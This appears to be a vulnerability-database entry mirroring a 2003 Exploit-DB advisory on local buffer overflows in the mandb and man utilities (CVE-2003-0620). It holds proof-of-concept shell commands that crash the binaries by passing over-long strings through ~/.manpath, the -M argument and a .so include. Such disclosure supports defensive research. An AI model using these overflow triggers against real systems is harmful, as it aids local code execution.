Lucene search
+L

ManDB Utility 2.3/2.4 - Local Buffer Overflow

🗓️ 29 Jul 2003 00:00:00Reported by V9Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

ManDB Utility 2.3/2.4 has local buffer overflow vulnerabilities allowing arbitrary code execution.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CAN-2003-0620
6 Aug 202410:29
cve
CVE
CVE-2003-0620
1 Aug 200304:00
cve
Cvelist
CVE-2003-0620
1 Aug 200304:00
cvelist
Debian CVE
CVE-2003-0620
1 Aug 200304:00
debiancve
Tenable Nessus
Debian DSA-364-3 : man-db - buffer overflows, arbitrary command execution
29 Sep 200400:00
nessus
EUVD
EUVD-2003-0614
7 Oct 202500:30
euvd
NVD
CVE-2003-0620
27 Aug 200304:00
nvd
OpenVAS
Debian: Security Advisory (DSA-364)
17 Jan 200800:00
openvas
OpenVAS
Debian Security Advisory DSA 364-1 (man-db)
17 Jan 200800:00
openvas
OSV
DEBIAN-CVE-2003-0620
27 Aug 200304:00
osv
Rows per page
source: https://www.securityfocus.com/bid/8303/info

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation